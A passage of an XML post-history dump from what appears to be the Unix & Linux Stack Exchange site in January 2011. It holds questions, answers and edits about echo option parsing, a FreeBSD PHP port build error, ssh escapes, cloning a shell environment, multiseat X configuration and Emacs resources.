'pdo_mysql_handle_factory':&#xD;&#xA;&#xD;&#xA;    /usr/ports/databases/php5-pdo_mysql/work/php-5.3.5/ext/pdo_mysql/mysql_driver.c:&#xD;&#xA;    763: error: too many arguments to function 'pdo_mysql_globals.dbg-&gt;m-&gt;func_leave'&#xD;&#xA;&#xD;&#xA;    *** Error code 1&#xD;&#xA;    1 error&#xD;&#xA;    *** Error code 1&#xD;&#xA;&#xD;&#xA;    Stop in /usr/ports/databases/php5-pdo_mysql.&#xD;&#xA;    *** Error code 1&#xD;&#xA;&#xD;&#xA;    Stop in /usr/ports/databases/php5-pdo_mysql.&#xD;&#xA;&#xD;&#xA;My php version is 5.3.3 and pear 1.9.1.&#xD;&#xA;I tried to upgrade port tree of php5 to 5.3.5 but it failed. Saying I have to update apache22 first, but then updating apache22 also failed.&#xD;&#xA;What should I do now?" />
  <row Id="13967" PostHistoryTypeId="1" PostId="6160" RevisionGUID="1bdd13e9-8c5d-43e7-834c-409ed9fd3509" CreationDate="2011-01-20T02:53:46.520" UserId="3927" Text="&quot;Too many arguments to function&quot; error while installing php5-pdo_mysql from ports in FreeBSD" />
  <row Id="13968" PostHistoryTypeId="3" PostId="6160" RevisionGUID="1bdd13e9-8c5d-43e7-834c-409ed9fd3509" CreationDate="2011-01-20T02:53:46.520" UserId="3927" Text="éfreebsdàéapacheàéportsàéphpà" />
  <row Id="13969" PostHistoryTypeId="2" PostId="6161" RevisionGUID="050c8853-658e-4fe9-bd8b-13cc252ff1f4" CreationDate="2011-01-20T02:53:53.353" UserId="3466" Text="I found the answer. A little googling brought up this page: &#xD;&#xA;&#xD;&#xA;http://ant.apache.org/manual/running.html#background&#xD;&#xA;&#xD;&#xA;Looks like ant immediately tries to read from standard input, which causes the background process to suspend" />
  <row Id="13970" PostHistoryTypeId="2" PostId="6162" RevisionGUID="6240c92f-8380-4207-b239-32bc8cc5723e" CreationDate="2011-01-20T03:16:47.140" UserId="29" Text="the difference may not be immediately obvious. However if you compare&#xD;&#xA;&#xD;&#xA;    echo -n &quot;bar&quot; | md5sum&#xD;&#xA;    &#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2  -&#xD;&#xA;&#xD;&#xA;with&#xD;&#xA;&#xD;&#xA;    echo &quot;bar&quot; -n | md5sum&#xD;&#xA;&#xD;&#xA;    a3f8efa5dd10e90aee0963052e3650a1  -&#xD;&#xA;&#xD;&#xA;you will notice that they must be different. I suspect the former does what it's supposed to but the latter doesn't. Is this a bug? by design?" />
  <row Id="13971" PostHistoryTypeId="1" PostId="6162" RevisionGUID="6240c92f-8380-4207-b239-32bc8cc5723e" CreationDate="2011-01-20T03:16:47.140" UserId="29" Text="Why is echo &quot;bar&quot; -n different from echo -n &quot;bar&quot; ?" />
  <row Id="13972" PostHistoryTypeId="3" PostId="6162" RevisionGUID="6240c92f-8380-4207-b239-32bc8cc5723e" CreationDate="2011-01-20T03:16:47.140" UserId="29" Text="écommandölineà" />
  <row Id="13974" PostHistoryTypeId="2" PostId="6164" RevisionGUID="5a12e72d-0684-40b9-9b82-165e3ac276d7" CreationDate="2011-01-20T03:36:38.227" UserId="3913" Text="From simple inspection, this is not a bug by design...&#xD;&#xA;&#xD;&#xA;    echo &quot;bar&quot; -n | md5sum&#xD;&#xA;     &#xD;&#xA;    a3f8efa5dd10e90aee0963052e3650a1&#xD;&#xA;&#xD;&#xA;Try this command for yourself:&#xD;&#xA;&#xD;&#xA;    echo &quot;bar -n&quot; | md5sum&#xD;&#xA;&#xD;&#xA;You will notice that the resulting md5 is&#xD;&#xA;&#xD;&#xA;    a3f8efa5dd10e90aee0963052e3650a1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You just mixed-up the use of -n in echo.&#xD;&#xA;&#xD;&#xA;In your first sample code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    echo -n &quot;bar&quot; | md5sum&#xD;&#xA;&#xD;&#xA;-n is used to say DO NOT to put a newline after this echo.&#xD;&#xA;&#xD;&#xA;Your second sample&#xD;&#xA;&#xD;&#xA;    echo &quot;bar&quot; -n | md5sum&#xD;&#xA;&#xD;&#xA;is treating -n as a literal text.&#xD;&#xA;&#xD;&#xA;Hope that explanation helps :)&#xD;&#xA;&#xD;&#xA;Ismael Casimpan&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13975" PostHistoryTypeId="25" PostId="6162" RevisionGUID="dd3c7d4d-6c4e-44d7-80ef-0521e65e4a70" CreationDate="2011-01-20T04:55:42.590" Comment="http://twitter.com/#!/StackUnix/status/27952384411963392" />
  <row Id="13976" PostHistoryTypeId="5" PostId="2920" RevisionGUID="33d2713c-5000-4f8a-b47b-b280c9ccf802" CreationDate="2011-01-20T04:58:40.650" UserId="1207" Comment="added 3 characters in body; deleted 1 characters in body" Text="One way is to use the ssh escape character.  By default this is &quot;~&quot;, but it can be set manually with `-e` option when invoking ssh or via `EscapeChar` in your ssh config.  To kill the hung session this will often work:&#xD;&#xA;&#xD;&#xA;`~.`&#xD;&#xA;&#xD;&#xA;As pointed out by Gilles this is only recognized immediately after hitting &lt;kbd&gt;Enter&lt;/kbd&gt;." />
  <row Id="13977" PostHistoryTypeId="2" PostId="6165" RevisionGUID="8566e3db-7632-4e9a-8700-9f8687537ee6" CreationDate="2011-01-20T05:09:04.153" UserId="3596" Text="The other answers get to the point that you can look at the man page to see that -n is becoming part of the string to echo.  However I just want to point out that it's easy to investigate this without the md5sum and makes what's going on a little less cryptic.&#xD;&#xA;&#xD;&#xA;    [11:07:44][dasonk@Chloe:~]: echo -n &quot;bar&quot;&#xD;&#xA;    bar[11:07:48][dasonk@Chloe:~]: echo &quot;bar&quot; -n&#xD;&#xA;    bar -n&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13978" PostHistoryTypeId="2" PostId="6166" RevisionGUID="85dc4a09-a023-44bd-a0c0-ac23d387e924" CreationDate="2011-01-20T05:14:26.923" UserId="3169" Text="Wow, everyone's explanations are lengthy.&#xD;&#xA;&#xD;&#xA;It's this simple:&#xD;&#xA;&#xD;&#xA;`-n` is an option if it appears before the string, otherwise it's just another string to be echoed.&#xD;&#xA;&#xD;&#xA;Remove the `| md5sum`  and you'll see the output is different." />
  <row Id="13979" PostHistoryTypeId="2" PostId="6167" RevisionGUID="baf066f8-d955-49b9-bcba-90314295c0b2" CreationDate="2011-01-20T06:03:46.180" UserId="1779" Text="`xrandr` only works on newer X servers with the RandR extension.  Granted, that should be true of everything these days, but in case not…&#xD;&#xA;&#xD;&#xA;`xdpyinfo` also prints out per-screen information, including dimension (pixel and physical size)." />
  <row Id="13980" PostHistoryTypeId="17" PostId="5155" RevisionGUID="e47d99ce-b0de-4ecd-96c4-3063d620f9ce" CreationDate="2010-12-27T00:54:50.677" Comment="from http://stackoverflow.com/questions/4534675/bootable-image-with-lan-drivers/4535044#4535044" Text="" />
  <row Id="13981" PostHistoryTypeId="17" PostId="5177" RevisionGUID="f2eb1613-840f-4e8d-aa00-ffa9dc08b9e7" CreationDate="2010-12-28T03:57:09.337" Comment="from http://stackoverflow.com/questions/1770406/loading-different-linux-distribution-each-time-computer-starts-automatically/1770430#1770430" Text="" />
  <row Id="13982" PostHistoryTypeId="17" PostId="5178" RevisionGUID="d4cbebcc-6a32-4952-b980-668b4eab2686" CreationDate="2010-12-28T03:57:09.337" Comment="from http://stackoverflow.com/questions/1770406/loading-different-linux-distribution-each-time-computer-starts-automatically/1770489#1770489" Text="" />
  <row Id="13983" PostHistoryTypeId="25" PostId="6127" RevisionGUID="7e860c16-751c-47f3-b7dd-bcb6cfaf1850" CreationDate="2011-01-20T07:55:42.510" Comment="http://twitter.com/#!/StackUnix/status/27997682970664960" />
  <row Id="13984" PostHistoryTypeId="2" PostId="6168" RevisionGUID="dff57150-fcdb-46f0-9752-f0c93b3c7a2f" CreationDate="2011-01-20T07:56:35.873" UserId="3629" Text="As most others have observed, &quot;-n&quot; is interpreted literally if placed anywhere but immediately after the `echo` command.&#xD;&#xA;&#xD;&#xA;Historically, UNIX utilities were all like this -- they looked for options only immediately after the command name.  It was likely either BSD or GNU who pioneered the more flexible style (though I could be wrong), as even now [POSIX specifies the old way as correct][1] (see Guideline 9, and also [`man 3 getopt`][2] on a Linux system).  Anyway, even though most Linux utilities these days use the new style, there are some holdouts like `echo`, mainly in cases where switching to the more flexible style would break shellscripts.&#xD;&#xA;&#xD;&#xA;Incidentally, for best compatibility between Bourne shell implementations, [use `printf` rather than `echo`][3].&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap12.html#tag_12_02&#xD;&#xA;  [2]: http://linux.die.net/man/3/getopt&#xD;&#xA;  [3]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html#tag_20_37_16" />
  <row Id="13985" PostHistoryTypeId="5" PostId="6100" RevisionGUID="c4c3afa3-aff8-430e-902e-16c98639f1a7" CreationDate="2011-01-20T08:08:48.240" UserId="3629" Comment="added 327 characters in body" Text="Cloning the path is easy if you can run your terminal program from the command line.  Assuming you're using `xterm`, just run `xterm &amp;` from the prompt of the terminal you want to clone.  The new xterm will start in the same directory, unless you have it configured to start as a login shell.  Any exported environment variables will also carry over, but un-exported variables will not.&#xD;&#xA;&#xD;&#xA;A quick and dirty way to clone the whole environment (including un-exported variables) is as follows:&#xD;&#xA;&#xD;&#xA;    # from the old shell:&#xD;&#xA;    set &gt;~/environment.tmp&#xD;&#xA;&#xD;&#xA;    # from the new shell:&#xD;&#xA;    . ~/environment.tmp&#xD;&#xA;    rm ~/environment.tmp&#xD;&#xA;&#xD;&#xA;If you've set any custom shell options, you'll have to reapply those as well.&#xD;&#xA;&#xD;&#xA;You could wrap this whole process into an easily-runnable script.  Have the script save the environment to a known file, then run `xterm`.  Have your .bashrc check for that file, and source it and delete it if found.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Alternately, if you don't want to start one terminal from another, or just want more control, you could use a pair of functions that you define in .bashrc:&#xD;&#xA;&#xD;&#xA;    putstate () {&#xD;&#xA;        declare +x &gt;~/environment.tmp&#xD;&#xA;        declare -x &gt;&gt;~/environment.tmp&#xD;&#xA;        echo cd &quot;$PWD&quot; &gt;&gt;~/environment.tmp&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    getstate () {&#xD;&#xA;        . ~/environment.tmp&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**: Changed `putstate` so that it copies the &quot;exported&quot; state of the shell variables, so as to match the other method.  There are other things that could be copied over as well, such as shell options (see `help set`) -- so there is room for improvement in this script." />
  <row Id="13986" PostHistoryTypeId="5" PostId="6149" RevisionGUID="f5001430-5b31-44bb-a0b3-43cfc0911d6c" CreationDate="2011-01-20T08:12:05.163" UserId="885" Comment="fixed hyperlink" Text="You could try using the tool [monitor-edid](http://wiki.mandriva.com/en/Tools/monitor-edid), which produces output like this&#xD;&#xA;&#xD;&#xA;    Name: DELL 2407WFP&#xD;&#xA;    EISA ID: DELa017&#xD;&#xA;    EDID version: 1.3&#xD;&#xA;    EDID extension blocks: 0&#xD;&#xA;    Screen size: 52.0 cm x 33.0 cm (24.25 inches, aspect ratio 16/10 = 1.60)&#xD;&#xA;    Gamma: 2.2&#xD;&#xA;    Digital signal&#xD;&#xA;    Max video bandwidth: 170 MHz&#xD;&#xA;    &#xD;&#xA;        HorizSync 30-83&#xD;&#xA;    	VertRefresh 56-76&#xD;&#xA;    &#xD;&#xA;    	# Monitor preferred modeline (60.0 Hz vsync, 74.0 kHz hsync, ratio 16/1)&#xD;&#xA;    	ModeLine &quot;1920x1200&quot; 154 1920 1968 2000 2080 1200 1203 1209 1235 -hsyncc&#xD;&#xA;&#xD;&#xA;This is useful if you don't want to have X running when you want to probe your monitor information.&#xD;&#xA;" />
  <row Id="13987" PostHistoryTypeId="2" PostId="6169" RevisionGUID="84b0523b-3e3e-4948-b5bd-2ead8c6e939c" CreationDate="2011-01-20T08:58:52.310" UserId="863" Text="One interesting possibility I forgot is what Tyler Szabo's [answer](http://gaming.stackexchange.com/questions/14202/multiseat-gaming/14845#14845) to my question [Multiseat gaming?](http://gaming.stackexchange.com/q/14202/88) @gaming.SE suggests:&#xD;&#xA;&#xD;&#xA;&gt; I would use VMWare. This might be possible with just VMWare player (you will need to be able to allocate a mouse to a single VM), or you might need to try VMWare workstation (for which I'm quite sure it works). The hardware/software you will need is as follows:&#xD;&#xA;&#xD;&#xA;&gt; - Multiple sets of USB input (mice/keyboard/etc.)&#xD;&#xA;&gt; - A license for VMWare Workstation (or another VM system)&#xD;&#xA;&#xD;&#xA;&gt; 1. Set up a VM as you normally would and power it down.&#xD;&#xA;&gt; 2. Configure the USB Controller (found in &quot;Edit virtual machine settings&quot;) to &quot;Show all USB input devices&quot;&#xD;&#xA;&gt; 3. Start up the VM.&#xD;&#xA;&gt; 4. In the menu Navigate to VM -&gt; Removable Devices, and select the inputs to direct to the VM exclusively. (Now one of your keyboard/mouse combinations will only be directed to that VM.)&#xD;&#xA;&#xD;&#xA;&gt; At this point you have a window that is fully isolated with a set of inputs that will go only to it. You can do this for as many VMs as you can handle (and for as many sets of input as you can handle - I only tested with 2). The only irritating thing that can happen is is you have only 2 sets of inputs (in my case my laptop keyboard, my USB keyboard and 2 USB mice). I set up a VM with my USB Keyboard/Mouse combo, and maximized that to one monitor (you need VMWare tools to do this). For the other I had a problem that my mouse could escape from one VM onto the other (a feature of tools); to get around that I put my second VM in &quot;exculsive mode&quot; thus caputuring my &quot;host&quot; input; I could also have had a second keyboard/mouse combo.&#xD;&#xA;&#xD;&#xA;&gt; Best of this is, you don't even need multiple monitors, you could do it split-screen style with a bunch of VMs+keyboards+mice." />
  <row Id="13988" PostHistoryTypeId="5" PostId="6136" RevisionGUID="84270b97-cf3a-4d35-b22a-acdce1629413" CreationDate="2011-01-20T09:31:47.937" UserId="3069" Comment="added 2 characters in body" Text="In a similar situation, I also found it useful to start the new shell in the same directory as the current one.  I used a recipe like this to start the shell.&#xD;&#xA;&#xD;&#xA;    exec ssh -t $HOST &quot;cd $DIR; $SHELL $parms&quot;&#xD;&#xA;&#xD;&#xA;The -t option is needed whenever you explicitly run a shell using ssh.  It causes a pseudo-tty to be created for the process.  This is necessary for history commands and other interactive features to work correctly.  Earlier lines in the script set DIR to the current directory and SHELL to the user's preferred shell.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13989" PostHistoryTypeId="12" PostId="6150" RevisionGUID="e95a4a53-158a-4dd9-b23f-afb34f07fb33" CreationDate="2011-01-20T09:44:13.373" UserId="3990" Text="[{&quot;Id&quot;:3990,&quot;DisplayName&quot;:&quot;J V&quot;}]" />
  <row Id="13990" PostHistoryTypeId="13" PostId="6150" RevisionGUID="618403e7-e4c3-42c7-a48c-d2931aece0c1" CreationDate="2011-01-20T09:44:19.973" UserId="3990" Text="[{&quot;Id&quot;:3990,&quot;DisplayName&quot;:&quot;J V&quot;}]" />
  <row Id="13991" PostHistoryTypeId="5" PostId="6150" RevisionGUID="a3c6d57f-dc92-4420-ab59-1930d16b910d" CreationDate="2011-01-20T09:44:43.857" UserId="3990" Comment="added 73 characters in body" Text="A wine application (Anarchy online, great game try it some time) is behaving very strangely.&#xD;&#xA;&#xD;&#xA;While rendering correctly, Xorg isn't picking up on it's existence, and because of this the game only refreshes it's image when another application requests that portion of the screen to be updated.&#xD;&#xA;&#xD;&#xA;For example, I will get maximum framerate if I move the window, or go into the compiz cube, while placing a terminal with top running in it behind the game will make that portion of the screen render at 3 fps (In the video I will link it's running `top -d 1.0` hence the 1 fps) whereas a quickly updating window shows the game at a more reasonable framerate.&#xD;&#xA;&#xD;&#xA;In the [video][1] I have uploaded you can see this strange behavior, as the output from the game and the `top` combine to basically split the game between fast fps and slow fps in real-time.&#xD;&#xA;&#xD;&#xA;[Video of Xorg/wine issue][1] (AFAIK can only be opened in totem and VLC, recordmydesktop is bugged)&#xD;&#xA;&#xD;&#xA;[Wine bug report][2]&#xD;&#xA;&#xD;&#xA;Does anyone know how to fix this problem? Quick xorg config file? Recompile wine? I'll settle for a cheap trick (Other than putting a looping terminal behind the game every time, that really drains CPU)&#xD;&#xA;&#xD;&#xA;[1]: http://www.speedyshare.com/files/26361066/ao-render-framerate-bug.ogv&#xD;&#xA;[2]: http://bugs.winehq.org/show_bug.cgi?id=25821&#xD;&#xA;&#xD;&#xA;Edit: Turned out it was a d3d bug, fixable by compiling 1.2.2 instead" />
  <row Id="13992" PostHistoryTypeId="5" PostId="6162" RevisionGUID="3799ce59-b5e2-4199-8bf4-e2532fcdf9ef" CreationDate="2011-01-20T10:16:03.000" UserId="29" Comment="clarify what a good answer would include." Text="the difference may not be immediately obvious. However if you compare&#xD;&#xA;&#xD;&#xA;    echo -n &quot;bar&quot; | md5sum&#xD;&#xA;    &#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2  -&#xD;&#xA;&#xD;&#xA;with&#xD;&#xA;&#xD;&#xA;    echo &quot;bar&quot; -n | md5sum&#xD;&#xA;&#xD;&#xA;    a3f8efa5dd10e90aee0963052e3650a1  -&#xD;&#xA;&#xD;&#xA;you will notice that they must be different. I suspect the former does what it's supposed to but the latter doesn't. Is this a bug? by design?&#xD;&#xA;&#xD;&#xA;**Update:** so I'm a nerf and should have just tried it without the `md5sum` but I'm updating this as I won't accept an answer that doesn't explain why. The title of the question asks *why*? and I'd like to understand why `echo &quot;blah&quot; -n` doesn't act like most? cli tools in that if an option doesn't require an argument then the order of arguments/options doesn't matter. I quite frequently append options after arguments that I forgot example `tail foo/bar.log -f` doesn't work any differently than `tail -f foo/bar.log` So I'd like to understand why `echo` is special." />
  <row Id="13993" PostHistoryTypeId="5" PostId="6162" RevisionGUID="a5562233-4ee0-4b94-bbd1-61b9b7157010" CreationDate="2011-01-20T10:21:23.027" UserId="29" Comment="explain how these are rearranged" Text="compare&#xD;&#xA;&#xD;&#xA;    echo -n &quot;bar&quot;&#xD;&#xA;    &#xD;&#xA;with&#xD;&#xA;&#xD;&#xA;    echo &quot;bar&quot; -n&#xD;&#xA;&#xD;&#xA;The former does what *I* think it's supposed to do, while the latter doesn't Is this a bug? by design? why is it different than many cli programs in that you can't move the options around? example `tail -f /var/log/messages` is exactly the same as `tail /var/log/messages -f` I sometimes do the latter when I forget I wanted the former, because internally the options and arguments are rearranged, usually by getopt.&#xD;&#xA;&#xD;&#xA;**Update:** yes I originally nerf-ed my question. I removed the nerf you'll have to view history to make some of the answers make sense." />
  <row Id="13994" PostHistoryTypeId="2" PostId="6170" RevisionGUID="ab226920-6a51-4323-9812-d0620665b96b" CreationDate="2011-01-20T10:35:38.113" UserId="2274" Text="I administrate a couple of servers and do automation with both python and ruby at times.&#xD;&#xA;&#xD;&#xA;I've seen some awesome Youtube videos of users with multiple open windows, logged in background chats, and deep code completion, all done with emacs. I'm currently using vi and would like to learn emacs.&#xD;&#xA;&#xD;&#xA;Altogether doing away with any and all forms of GUI (suggestions for text browsing in emacs welcome) would be perfect in my current environment, especially for decluttering and focus.&#xD;&#xA;&#xD;&#xA;Content similar to http://platypope.org/yada/emacs-demo/tutorial.swf would be perfect.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13995" PostHistoryTypeId="1" PostId="6170" RevisionGUID="ab226920-6a51-4323-9812-d0620665b96b" CreationDate="2011-01-20T10:35:38.113" UserId="2274" Text="What are some excellent Emacs utter beginner resources?" />
  <row Id="13996" PostHistoryTypeId="3" PostId="6170" RevisionGUID="ab226920-6a51-4323-9812-d0620665b96b" CreationDate="2011-01-20T10:35:38.113" UserId="2274" Text="éemacsà" />
  <row Id="13997" PostHistoryTypeId="2" PostId="6171" RevisionGUID="f2a6ee22-1448-4f62-bb5d-eba7ea5bae8e" CreationDate="2011-01-20T10:44:13.650" UserId="3963" Text="I am looking for specific details as to why isn't Linux currently [SUS](http://en.wikipedia.org/wiki/Single_UNIX_Specification)(Single UNIX Specification) v3 or even better SUS v4 compliant? What application apis and user utilities does it miss or implement in a non-SUS compliant way?" />
  <row Id="13998" PostHistoryTypeId="1" PostId="6171" RevisionGUID="f2a6ee22-1448-4f62-bb5d-eba7ea5bae8e" CreationDate="2011-01-20T10:44:13.650" UserId="3963" Text="Why isn't Linux SUS v3+ compliant?" />
  <row Id="13999" PostHistoryTypeId="3" PostId="6171" RevisionGUID="f2a6ee22-1448-4f62-bb5d-eba7ea5bae8e" CreationDate="2011-01-20T10:44:13.650" UserId="3963" Text="élinuxàéunixàéstandardà" />
  <row Id="14000" PostHistoryTypeId="5" PostId="5842" RevisionGUID="7bd37649-505d-42e3-a357-58659329abfc" CreationDate="2011-01-20T10:50:00.177" UserId="3372" Comment="Fixed link" Text="If I understood your needs you have to bind one screen, keyboard and one mouse to one ServerLayout and the others to the second one.&#xD;&#xA;&#xD;&#xA;http://cambuca.ldhs.cetuc.puc-rio.br/multiuser/&#xD;&#xA;&#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier &quot;Layout0&quot;&#xD;&#xA;        Screen 0 &quot;Screen0&quot;&#xD;&#xA;        InputDevice &quot;Mouse0&quot; &quot;CorePointer&quot;&#xD;&#xA;        InputDevice &quot;Keyboard0&quot; &quot;CoreKeyboard&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier &quot;Layout1&quot;&#xD;&#xA;        Screen 0 &quot;Screen1&quot;&#xD;&#xA;        InputDevice &quot;Mouse0&quot; &quot;CorePointer&quot;&#xD;&#xA;        InputDevice &quot;Keyboard0&quot; &quot;CoreKeyboard&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;This is, as far as I know, the only way to proceed.&#xD;&#xA;&#xD;&#xA;Also Arch as one good tutorial:&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/Xorg_multiseat&#xD;&#xA;&#xD;&#xA;And Linux Toys show you even how to put in place a 6 seated setup&#xD;&#xA;&#xD;&#xA;http://www.linuxtoys.org/multiseat/multiseat.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14001" PostHistoryTypeId="25" PostId="6170" RevisionGUID="2c836115-ba19-4cdf-ad96-ffe821ce2270" CreationDate="2011-01-20T10:55:42.700" Comment="http://twitter.com/#!/StackUnix/status/28042982133334016" />
  <row Id="14002" PostHistoryTypeId="2" PostId="6172" RevisionGUID="c88ddd6a-4933-448f-88f8-2fb443feb4fa" CreationDate="2011-01-20T10:56:09.327" UserId="3372" Text="To get a certification you need to pay, and it's actually really expensive, this is what BSD like and GNU/Linux operating system vendors like don't apply to it.&#xD;&#xA;&#xD;&#xA;So there is even not a reason to check whatever or not GNU/Linux is compliant.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Single_UNIX_Specification#Non-registered_Unix-like_systems&#xD;&#xA;&#xD;&#xA;Most of all the GNU/LInux distribution follows the Linux Standard Base, that is free of charge and recognized by almost all the Linux vendors.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Linux_Standard_Base&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14003" PostHistoryTypeId="2" PostId="6173" RevisionGUID="564c59d2-8837-4587-81a4-b98eef8af0e7" CreationDate="2011-01-20T11:16:16.673" UserId="653" Text="There is emacs built-in tutorial, available by typing &lt;kbd&gt;Ctrl+h&lt;/kbd&gt;, then&lt;kbd&gt;t&lt;/kbd&gt;. It can be considered as the vimtutor equivalent." />
  <row Id="14004" PostHistoryTypeId="4" PostId="6171" RevisionGUID="646b6427-c482-4329-b678-10427d785a69" CreationDate="2011-01-20T11:25:50.163" UserId="3963" Comment="edited title; added 4 characters in body" Text="Why isn't GNU/Linux SUS v3+ compliant?" />
  <row Id="14005" PostHistoryTypeId="2" PostId="6174" RevisionGUID="f1233704-0781-40cb-9eb6-ce89ab315dd4" CreationDate="2011-01-20T11:26:00.817" UserId="286" Text="Using UNIX by Example, P.C Poole &amp; N. Poole ?&#xD;&#xA;&#xD;&#xA;http://books.google.co.uk/books?ei=dhs4TZrROcnpgQfq4bTGCA&amp;ct=result&amp;id=LK9QAAAAMAAJ&amp;dq=grep+student+name&amp;q=grades#search_anchor&#xD;&#xA;&#xD;&#xA;and on Amazon at http://www.amazon.com/Using-Unix-Example-P-Poole/dp/0201185350" />
  <row Id="14006" PostHistoryTypeId="5" PostId="6171" RevisionGUID="646b6427-c482-4329-b678-10427d785a69" CreationDate="2011-01-20T11:25:50.163" UserId="3963" Comment="edited title; added 4 characters in body" Text="I am looking for specific details as to why isn't GNU/Linux currently [SUS](http://en.wikipedia.org/wiki/Single_UNIX_Specification)(Single UNIX Specification) v3 or even better SUS v4 compliant? What application apis and user utilities does it miss or implement in a non-SUS compliant way?" />
  <row Id="14007" PostHistoryTypeId="2" PostId="6175" RevisionGUID="5e753bc8-7a4b-4285-964d-e0038895cd0a" CreationDate="2011-01-20T11:49:21.517" UserId="1135" Text="I started with [Learning GNU Emacs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Learning-Emacs-Third-Debra-Cameron/dp/0596006489/" />
  <row Id="14008" PostHistoryTypeId="17" PostId="6177" RevisionGUID="d8dd9ff0-af07-4af1-8386-7368f0be116a" CreationDate="2011-01-20T12:29:08.057" UserId="-1" Comment="from http://stackoverflow.com/questions/4742231/whats-the-difference-between-blah-and-blah-when-defining-a-path-in-a-unix/4742260#4742260" Text="" />
  <row Id="14009" PostHistoryTypeId="17" PostId="6178" RevisionGUID="0a457f55-12fa-4ac0-b849-4e0076461775" CreationDate="2011-01-20T12:29:08.057" UserId="-1" Comment="from http://stackoverflow.com/questions/4742231/whats-the-difference-between-blah-and-blah-when-defining-a-path-in-a-unix/4742288#4742288" Text="" />
  <row Id="14010" PostHistoryTypeId="2" PostId="6177" RevisionGUID="22955f0d-6574-4195-8b30-69495401e8eb" CreationDate="2011-01-20T00:20:04.053" UserDisplayName="ChristopheD" Text="There is no difference.&#xD;&#xA;&#xD;&#xA;Multiple slashes get ignored (without effect), e.g.:&#xD;&#xA;&#xD;&#xA;    ls -al //usr///////bin/sed" />
  <row Id="14011" PostHistoryTypeId="2" PostId="6178" RevisionGUID="99ebe0d4-1664-476e-87a8-955bb568be8f" CreationDate="2011-01-20T00:25:52.550" UserDisplayName="larsmans" Text="On all Unix systems that I've seen it's the same as a single `/`, but the [Unix standard][1] specifies that&#xD;&#xA;&#xD;&#xA;&gt; A pathname that begins with two&#xD;&#xA;&gt; successive slashes may be interpreted&#xD;&#xA;&gt; in an implementation-defined manner,&#xD;&#xA;&gt; although more than two leading slashes&#xD;&#xA;&gt; shall be treated as a single slash.&#xD;&#xA;&#xD;&#xA;so it may be handled specially, depending on your system. (Some older Unix versions used a double leading `/` for remote filesystem access, and there may still be some that do.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap04.html#tag_04_11" />
  <row Id="14016" PostHistoryTypeId="2" PostId="6179" RevisionGUID="0dc4ea34-2a68-4564-85b7-c9a405b0eaa3" CreationDate="2011-01-20T12:42:03.267" UserId="665" Text="Anyone know how to disable this annoying hover info in amarok 2.4? I browsed through all the options (not that there is much of them), but couldn't find how to turn that feature off... It's getting in the way when hovering over songs with your mouse and really is not necessary&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="14017" PostHistoryTypeId="1" PostId="6179" RevisionGUID="0dc4ea34-2a68-4564-85b7-c9a405b0eaa3" CreationDate="2011-01-20T12:42:03.267" UserId="665" Text="Disabling playlist song hover info in amarok2?" />
  <row Id="14018" PostHistoryTypeId="3" PostId="6179" RevisionGUID="0dc4ea34-2a68-4564-85b7-c9a405b0eaa3" CreationDate="2011-01-20T12:42:03.267" UserId="665" Text="éfeatureàéamarok2à" />
  <row Id="14019" PostHistoryTypeId="2" PostId="6180" RevisionGUID="8fc1859f-6074-4662-ae93-ac89e421d1f1" CreationDate="2011-01-20T12:48:02.743" UserId="4009" Text="Do you have an image file for the suse install you want? Usually the process is:&#xD;&#xA;&#xD;&#xA;1. Get install disk image, from http://en.opensuse.org/ &#xD;&#xA;2. Extract that image onto a USB drive (Izarc/7-zip wll do (in windows), or double click on the file in linux/unix. Or mount as a loopback and copypaste.)&#xD;&#xA;3. Use a tool such as unetbootin or mkboot.bat (windows only) to make the drive bootable (you can google them)&#xD;&#xA;4. Put the USB stick in the computer you want suse on, and make sure that computer can boot from usb drives, which could involve going into the bios.&#xD;&#xA;5. follow instructions, assumign all went well.&#xD;&#xA;&#xD;&#xA;That is the best I can do without more information such as the operating system(s) you have now, what kind of computer you want suse on and if that computer has any OS already." />
